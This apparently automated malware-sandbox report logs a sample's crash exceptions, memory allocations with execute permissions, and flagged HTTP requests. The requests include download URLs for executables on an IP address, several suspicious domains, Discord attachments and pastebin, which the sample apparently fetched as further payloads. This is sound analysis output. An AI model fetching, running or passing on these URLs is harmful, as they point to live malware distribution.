__exception__ April 5, 2021, 1:28 p.m.	stacktrace: LocalSize+0xe4 BasepMapModuleHandle-0x31 kernel32+0x2e825 @ 0x7574e825 saskafunma1eoidkrmoxdxlm+0x154a0 @ 0x4154a0 exception.instruction_r: 80 78 07 05 0f 84 27 56 02 00 f6 40 07 3f 0f 84 exception.symbol: RtlGetUserInfoHeap+0x4e RtlQueueWorkItem-0x3e7 ntdll+0x67cbf exception.instruction: cmp byte ptr [eax + 7], 5 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 425151 exception.address: 0x77407cbf registers.esp: 1635676 registers.edi: 3014656 registers.eax: 4294967288 registers.ebp: 1635728 registers.edx: 6 registers.ebx: 0 registers.esi: 0 registers.ecx: 2612	1
__exception__ April 5, 2021, 1:28 p.m.	stacktrace: LocalSize+0xe4 BasepMapModuleHandle-0x31 kernel32+0x2e825 @ 0x7574e825 saskafunma1eoidkrmoxdxlm+0x154a0 @ 0x4154a0 exception.instruction_r: 80 78 07 05 0f 84 27 56 02 00 f6 40 07 3f 0f 84 exception.symbol: RtlGetUserInfoHeap+0x4e RtlQueueWorkItem-0x3e7 ntdll+0x67cbf exception.instruction: cmp byte ptr [eax + 7], 5 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 425151 exception.address: 0x77407cbf registers.esp: 1635676 registers.edi: 3014656 registers.eax: 4294967288 registers.ebp: 1635728 registers.edx: 6 registers.ebx: 0 registers.esi: 0 registers.ecx: 2612	1
__exception__ April 5, 2021, 1:28 p.m.	stacktrace: LocalSize+0xe4 BasepMapModuleHandle-0x31 kernel32+0x2e825 @ 0x7574e825 saskafunma1eoidkrmoxdxlm+0x154a0 @ 0x4154a0 exception.instruction_r: 80 78 07 05 0f 84 27 56 02 00 f6 40 07 3f 0f 84 exception.symbol: RtlGetUserInfoHeap+0x4e RtlQueueWorkItem-0x3e7 ntdll+0x67cbf exception.instruction: cmp byte ptr [eax + 7], 5 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 425151 exception.address: 0x77407cbf registers.esp: 1635676 registers.edi: 3014656 registers.eax: 4294967288 registers.ebp: 1635728 registers.edx: 6 registers.ebx: 0 registers.esi: 0 registers.ecx: 2612	1
__exception__ April 5, 2021, 1:28 p.m.	stacktrace: LocalSize+0xe4 BasepMapModuleHandle-0x31 kernel32+0x2e825 @ 0x7574e825 saskafunma1eoidkrmoxdxlm+0x154a0 @ 0x4154a0 exception.instruction_r: 80 78 07 05 0f 84 27 56 02 00 f6 40 07 3f 0f 84 exception.symbol: RtlGetUserInfoHeap+0x4e RtlQueueWorkItem-0x3e7 ntdll+0x67cbf exception.instruction: cmp byte ptr [eax + 7], 5 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 425151 exception.address: 0x77407cbf registers.esp: 1635676 registers.edi: 3014656 registers.eax: 4294967288 registers.ebp: 1635728 registers.edx: 6 registers.ebx: 0 registers.esi: 0 registers.ecx: 2612	1
__exception__ April 5, 2021, 1:28 p.m.	stacktrace: LocalSize+0xe4 BasepMapModuleHandle-0x31 kernel32+0x2e825 @ 0x7574e825 saskafunma1eoidkrmoxdxlm+0x154a0 @ 0x4154a0 exception.instruction_r: 80 78 07 05 0f 84 27 56 02 00 f6 40 07 3f 0f 84 exception.symbol: RtlGetUserInfoHeap+0x4e RtlQueueWorkItem-0x3e7 ntdll+0x67cbf exception.instruction: cmp byte ptr [eax + 7], 5 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 425151 exception.address: 0x77407cbf registers.esp: 1635676 registers.edi: 3014656 registers.eax: 4294967288 registers.ebp: 1635728 registers.edx: 6 registers.ebx: 0 registers.esi: 0 registers.ecx: 2612	1
__exception__ April 5, 2021, 1:28 p.m.	stacktrace: LocalSize+0xe4 BasepMapModuleHandle-0x31 kernel32+0x2e825 @ 0x7574e825 saskafunma1eoidkrmoxdxlm+0x154a0 @ 0x4154a0 exception.instruction_r: 80 78 07 05 0f 84 27 56 02 00 f6 40 07 3f 0f 84 exception.symbol: RtlGetUserInfoHeap+0x4e RtlQueueWorkItem-0x3e7 ntdll+0x67cbf exception.instruction: cmp byte ptr [eax + 7], 5 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 425151 exception.address: 0x77407cbf registers.esp: 1635676 registers.edi: 3014656 registers.eax: 4294967288 registers.ebp: 1635728 registers.edx: 6 registers.ebx: 0 registers.esi: 0 registers.ecx: 2612	1
__exception__ April 5, 2021, 1:28 p.m.	stacktrace: LocalSize+0xe4 BasepMapModuleHandle-0x31 kernel32+0x2e825 @ 0x7574e825 saskafunma1eoidkrmoxdxlm+0x154a0 @ 0x4154a0 exception.instruction_r: 80 78 07 05 0f 84 27 56 02 00 f6 40 07 3f 0f 84 exception.symbol: RtlGetUserInfoHeap+0x4e RtlQueueWorkItem-0x3e7 ntdll+0x67cbf exception.instruction: cmp byte ptr [eax + 7], 5 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 425151 exception.address: 0x77407cbf registers.esp: 1635676 registers.edi: 3014656 registers.eax: 4294967288 registers.ebp: 1635728 registers.edx: 6 registers.ebx: 0 registers.esi: 0 registers.ecx: 2612	1
__exception__ April 5, 2021, 1:28 p.m.	stacktrace: LocalSize+0xe4 BasepMapModuleHandle-0x31 kernel32+0x2e825 @ 0x7574e825 saskafunma1eoidkrmoxdxlm+0x154a0 @ 0x4154a0 exception.instruction_r: 80 78 07 05 0f 84 27 56 02 00 f6 40 07 3f 0f 84 exception.symbol: RtlGetUserInfoHeap+0x4e RtlQueueWorkItem-0x3e7 ntdll+0x67cbf exception.instruction: cmp byte ptr [eax + 7], 5 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 425151 exception.address: 0x77407cbf registers.esp: 1635676 registers.edi: 3014656 registers.eax: 4294967288 registers.ebp: 1635728 registers.edx: 6 registers.ebx: 0 registers.esi: 0 registers.ecx: 2612	1
__exception__ April 5, 2021, 1:28 p.m.	stacktrace: LocalSize+0xe4 BasepMapModuleHandle-0x31 kernel32+0x2e825 @ 0x7574e825 saskafunma1eoidkrmoxdxlm+0x154a0 @ 0x4154a0 exception.instruction_r: 80 78 07 05 0f 84 27 56 02 00 f6 40 07 3f 0f 84 exception.symbol: RtlGetUserInfoHeap+0x4e RtlQueueWorkItem-0x3e7 ntdll+0x67cbf exception.instruction: cmp byte ptr [eax + 7], 5 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 425151 exception.address: 0x77407cbf registers.esp: 1635676 registers.edi: 3014656 registers.eax: 4294967288 registers.ebp: 1635728 registers.edx: 6 registers.ebx: 0 registers.esi: 0 registers.ecx: 2612	1
__exception__ April 5, 2021, 1:28 p.m.	stacktrace: LocalSize+0xe4 BasepMapModuleHandle-0x31 kernel32+0x2e825 @ 0x7574e825 saskafunma1eoidkrmoxdxlm+0x154a0 @ 0x4154a0 exception.instruction_r: 80 78 07 05 0f 84 27 56 02 00 f6 40 07 3f 0f 84 exception.symbol: RtlGetUserInfoHeap+0x4e RtlQueueWorkItem-0x3e7 ntdll+0x67cbf exception.instruction: cmp byte ptr [eax + 7], 5 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 425151 exception.address: 0x77407cbf registers.esp: 1635676 registers.edi: 3014656 registers.eax: 4294967288 registers.ebp: 1635728 registers.edx: 6 registers.ebx: 0 registers.esi: 0 registers.ecx: 2612	1
__exception__ April 5, 2021, 1:28 p.m.	stacktrace: LocalSize+0xe4 BasepMapModuleHandle-0x31 kernel32+0x2e825 @ 0x7574e825 saskafunma1eoidkrmoxdxlm+0x154a0 @ 0x4154a0 exception.instruction_r: 80 78 07 05 0f 84 27 56 02 00 f6 40 07 3f 0f 84 exception.symbol: RtlGetUserInfoHeap+0x4e RtlQueueWorkItem-0x3e7 ntdll+0x67cbf exception.instruction: cmp byte ptr [eax + 7], 5 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 425151 exception.address: 0x77407cbf registers.esp: 1635676 registers.edi: 3014656 registers.eax: 4294967288 registers.ebp: 1635728 registers.edx: 6 registers.ebx: 0 registers.esi: 0 registers.ecx: 2612	1
__exception__ April 5, 2021, 1:28 p.m.	stacktrace: LocalSize+0xe4 BasepMapModuleHandle-0x31 kernel32+0x2e825 @ 0x7574e825 saskafunma1eoidkrmoxdxlm+0x154a0 @ 0x4154a0 exception.instruction_r: 80 78 07 05 0f 84 27 56 02 00 f6 40 07 3f 0f 84 exception.symbol: RtlGetUserInfoHeap+0x4e RtlQueueWorkItem-0x3e7 ntdll+0x67cbf exception.instruction: cmp byte ptr [eax + 7], 5 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 425151 exception.address: 0x77407cbf registers.esp: 1635676 registers.edi: 3014656 registers.eax: 4294967288 registers.ebp: 1635728 registers.edx: 6 registers.ebx: 0 registers.esi: 0 registers.ecx: 2612	1
__exception__ April 5, 2021, 1:28 p.m.	stacktrace: LocalSize+0xe4 BasepMapModuleHandle-0x31 kernel32+0x2e825 @ 0x7574e825 saskafunma1eoidkrmoxdxlm+0x154a0 @ 0x4154a0 exception.instruction_r: 80 78 07 05 0f 84 27 56 02 00 f6 40 07 3f 0f 84 exception.symbol: RtlGetUserInfoHeap+0x4e RtlQueueWorkItem-0x3e7 ntdll+0x67cbf exception.instruction: cmp byte ptr [eax + 7], 5 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 425151 exception.address: 0x77407cbf registers.esp: 1635676 registers.edi: 3014656 registers.eax: 4294967288 registers.ebp: 1635728 registers.edx: 6 registers.ebx: 0 registers.esi: 0 registers.ecx: 2612	1
__exception__ April 5, 2021, 1:28 p.m.	stacktrace: LocalSize+0xe4 BasepMapModuleHandle-0x31 kernel32+0x2e825 @ 0x7574e825 saskafunma1eoidkrmoxdxlm+0x154a0 @ 0x4154a0 exception.instruction_r: 80 78 07 05 0f 84 27 56 02 00 f6 40 07 3f 0f 84 exception.symbol: RtlGetUserInfoHeap+0x4e RtlQueueWorkItem-0x3e7 ntdll+0x67cbf exception.instruction: cmp byte ptr [eax + 7], 5 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 425151 exception.address: 0x77407cbf registers.esp: 1635676 registers.edi: 3014656 registers.eax: 4294967288 registers.ebp: 1635728 registers.edx: 6 registers.ebx: 0 registers.esi: 0 registers.ecx: 2612	1
__exception__ April 5, 2021, 1:28 p.m.	stacktrace: LocalSize+0xe4 BasepMapModuleHandle-0x31 kernel32+0x2e825 @ 0x7574e825 saskafunma1eoidkrmoxdxlm+0x154a0 @ 0x4154a0 exception.instruction_r: 80 78 07 05 0f 84 27 56 02 00 f6 40 07 3f 0f 84 exception.symbol: RtlGetUserInfoHeap+0x4e RtlQueueWorkItem-0x3e7 ntdll+0x67cbf exception.instruction: cmp byte ptr [eax + 7], 5 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 425151 exception.address: 0x77407cbf registers.esp: 1635676 registers.edi: 3014656 registers.eax: 4294967288 registers.ebp: 1635728 registers.edx: 6 registers.ebx: 0 registers.esi: 0 registers.ecx: 2612	1
__exception__ April 5, 2021, 1:28 p.m.	stacktrace: LocalSize+0xe4 BasepMapModuleHandle-0x31 kernel32+0x2e825 @ 0x7574e825 saskafunma1eoidkrmoxdxlm+0x154a0 @ 0x4154a0 exception.instruction_r: 80 78 07 05 0f 84 27 56 02 00 f6 40 07 3f 0f 84 exception.symbol: RtlGetUserInfoHeap+0x4e RtlQueueWorkItem-0x3e7 ntdll+0x67cbf exception.instruction: cmp byte ptr [eax + 7], 5 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 425151 exception.address: 0x77407cbf registers.esp: 1635676 registers.edi: 3014656 registers.eax: 4294967288 registers.ebp: 1635728 registers.edx: 6 registers.ebx: 0 registers.esi: 0 registers.ecx: 2612	1
__exception__ April 5, 2021, 1:28 p.m.	stacktrace: LocalSize+0xe4 BasepMapModuleHandle-0x31 kernel32+0x2e825 @ 0x7574e825 saskafunma1eoidkrmoxdxlm+0x154a0 @ 0x4154a0 exception.instruction_r: 80 78 07 05 0f 84 27 56 02 00 f6 40 07 3f 0f 84 exception.symbol: RtlGetUserInfoHeap+0x4e RtlQueueWorkItem-0x3e7 ntdll+0x67cbf exception.instruction: cmp byte ptr [eax + 7], 5 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 425151 exception.address: 0x77407cbf registers.esp: 1635676 registers.edi: 3014656 registers.eax: 4294967288 registers.ebp: 1635728 registers.edx: 6 registers.ebx: 0 registers.esi: 0 registers.ecx: 2612	1
__exception__ April 5, 2021, 1:28 p.m.	stacktrace: LocalSize+0xe4 BasepMapModuleHandle-0x31 kernel32+0x2e825 @ 0x7574e825 saskafunma1eoidkrmoxdxlm+0x154a0 @ 0x4154a0 exception.instruction_r: 80 78 07 05 0f 84 27 56 02 00 f6 40 07 3f 0f 84 exception.symbol: RtlGetUserInfoHeap+0x4e RtlQueueWorkItem-0x3e7 ntdll+0x67cbf exception.instruction: cmp byte ptr [eax + 7], 5 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 425151 exception.address: 0x77407cbf registers.esp: 1635676 registers.edi: 3014656 registers.eax: 4294967288 registers.ebp: 1635728 registers.edx: 6 registers.ebx: 0 registers.esi: 0 registers.ecx: 2612	1
__exception__ April 5, 2021, 1:28 p.m.	stacktrace: LocalSize+0xe4 BasepMapModuleHandle-0x31 kernel32+0x2e825 @ 0x7574e825 saskafunma1eoidkrmoxdxlm+0x154a0 @ 0x4154a0 exception.instruction_r: 80 78 07 05 0f 84 27 56 02 00 f6 40 07 3f 0f 84 exception.symbol: RtlGetUserInfoHeap+0x4e RtlQueueWorkItem-0x3e7 ntdll+0x67cbf exception.instruction: cmp byte ptr [eax + 7], 5 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 425151 exception.address: 0x77407cbf registers.esp: 1635676 registers.edi: 3014656 registers.eax: 4294967288 registers.ebp: 1635728 registers.edx: 6 registers.ebx: 0 registers.esi: 0 registers.ecx: 2612	1

One or more potentially interesting buffers were extracted, these generally contain injected code, configuration data, etc.

HTTP traffic contains suspicious features which may be indicative of malware related traffic (10 events)

suspicious_features	GET method with no useragent header, Connection to IP address	suspicious_request	GET http://203.159.80.228/downloads/sfx_123_400.exe
suspicious_features	GET method with no useragent header	suspicious_request	GET http://gurums.info/lukkeze.best.exe
suspicious_features	GET method with no useragent header	suspicious_request	GET http://gurums.info/MMP2.exe
suspicious_features	GET method with no useragent header	suspicious_request	GET http://whatitis.club/load.php?pub=mixruzki
suspicious_features	GET method with no useragent header	suspicious_request	GET https://pastebin.com/raw/VVpUeH0C
suspicious_features	GET method with no useragent header	suspicious_request	GET https://cdn.discordapp.com/attachments/826416818390040589/826540039764705360/7525b875713675d4ff0018cf084f493a4e4977de_2021-03-30_22-25.exe
suspicious_features	GET method with no useragent header	suspicious_request	GET https://cdn.discordapp.com/attachments/826416818390040589/826855866228670474/7525b875715555.exe
suspicious_features	GET method with no useragent header	suspicious_request	GET https://fex.net/uk/s/o1ovzfe
suspicious_features	GET method with no useragent header	suspicious_request	GET https://iplogger.org/2LehR6.exe
suspicious_features	GET method with no useragent header	suspicious_request	GET https://cdn.discordapp.com/attachments/826416818390040589/826531006563352596/Bussed_2021-03-30_21-01.exe

Performs some HTTP requests (11 events)

request	GET http://203.159.80.228/downloads/sfx_123_400.exe
request	GET http://gurums.info/lukkeze.best.exe
request	GET http://gurums.info/MMP2.exe
request	GET http://whatitis.club/load.php?pub=mixruzki
request	GET http://api.ipify.org/?format=xml
request	GET https://pastebin.com/raw/VVpUeH0C
request	GET https://cdn.discordapp.com/attachments/826416818390040589/826540039764705360/7525b875713675d4ff0018cf084f493a4e4977de_2021-03-30_22-25.exe
request	GET https://cdn.discordapp.com/attachments/826416818390040589/826855866228670474/7525b875715555.exe
request	GET https://fex.net/uk/s/o1ovzfe
request	GET https://iplogger.org/2LehR6.exe
request	GET https://cdn.discordapp.com/attachments/826416818390040589/826531006563352596/Bussed_2021-03-30_21-01.exe

Allocates read-write-execute memory (usually to unpack itself) (50 out of 146 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory April 5, 2021, 1:19 p.m.	process_identifier: 1016 region_size: 786432 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000000600000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory April 5, 2021, 1:19 p.m.	process_identifier: 1016 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000000640000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory April 5, 2021, 1:19 p.m.	process_identifier: 1016 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1321000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory April 5, 2021, 1:19 p.m.	process_identifier: 1016 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef19bb000 process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory April 5, 2021, 1:19 p.m.	process_identifier: 1016 region_size: 2162688 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000000ac0000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory April 5, 2021, 1:19 p.m.	process_identifier: 1016 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000000c50000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory April 5, 2021, 1:19 p.m.	process_identifier: 1016 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1322000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory April 5, 2021, 1:19 p.m.	process_identifier: 1016 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1322000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory April 5, 2021, 1:19 p.m.	process_identifier: 1016 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1322000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory April 5, 2021, 1:19 p.m.	process_identifier: 1016 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1322000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory April 5, 2021, 1:19 p.m.	process_identifier: 1016 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1322000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory April 5, 2021, 1:19 p.m.	process_identifier: 1016 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1322000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory April 5, 2021, 1:19 p.m.	process_identifier: 1016 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1322000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory April 5, 2021, 1:19 p.m.	process_identifier: 1016 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1322000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory April 5, 2021, 1:19 p.m.	process_identifier: 1016 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1322000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory April 5, 2021, 1:19 p.m.	process_identifier: 1016 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1322000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory April 5, 2021, 1:19 p.m.	process_identifier: 1016 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1322000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory April 5, 2021, 1:19 p.m.	process_identifier: 1016 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1324000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory April 5, 2021, 1:19 p.m.	process_identifier: 1016 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1324000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory April 5, 2021, 1:19 p.m.	process_identifier: 1016 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1324000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory April 5, 2021, 1:19 p.m.	process_identifier: 1016 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1324000 process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory April 5, 2021, 1:19 p.m.	process_identifier: 1016 region_size: 655360 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff10000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory April 5, 2021, 1:19 p.m.	process_identifier: 1016 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff10000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory April 5, 2021, 1:19 p.m.	process_identifier: 1016 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff10000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory April 5, 2021, 1:19 p.m.	process_identifier: 1016 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff20000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory April 5, 2021, 1:19 p.m.	process_identifier: 1016 region_size: 65536 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff00000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory April 5, 2021, 1:19 p.m.	process_identifier: 1016 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff00000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory April 5, 2021, 1:19 p.m.	process_identifier: 1016 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91baa000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory April 5, 2021, 1:19 p.m.	process_identifier: 1016 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91c5c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory April 5, 2021, 1:19 p.m.	process_identifier: 1016 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91c86000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory April 5, 2021, 1:19 p.m.	process_identifier: 1016 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91c60000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory April 5, 2021, 1:19 p.m.	process_identifier: 1016 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91bbc000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory April 5, 2021, 1:19 p.m.	process_identifier: 1016 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91cd0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory April 5, 2021, 1:19 p.m.	process_identifier: 1016 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91bba000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory April 5, 2021, 1:19 p.m.	process_identifier: 1016 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91bab000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory April 5, 2021, 1:19 p.m.	process_identifier: 1016 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91bcb000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory April 5, 2021, 1:19 p.m.	process_identifier: 1016 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91bfc000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory April 5, 2021, 1:19 p.m.	process_identifier: 1016 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91bcd000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory April 5, 2021, 1:19 p.m.	process_identifier: 1016 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91ba2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory April 5, 2021, 1:19 p.m.	process_identifier: 1016 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91d10000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory April 5, 2021, 1:19 p.m.	process_identifier: 1016 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91bfd000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory April 5, 2021, 1:19 p.m.	process_identifier: 1016 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91d11000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory April 5, 2021, 1:19 p.m.	process_identifier: 1016 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91bbb000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
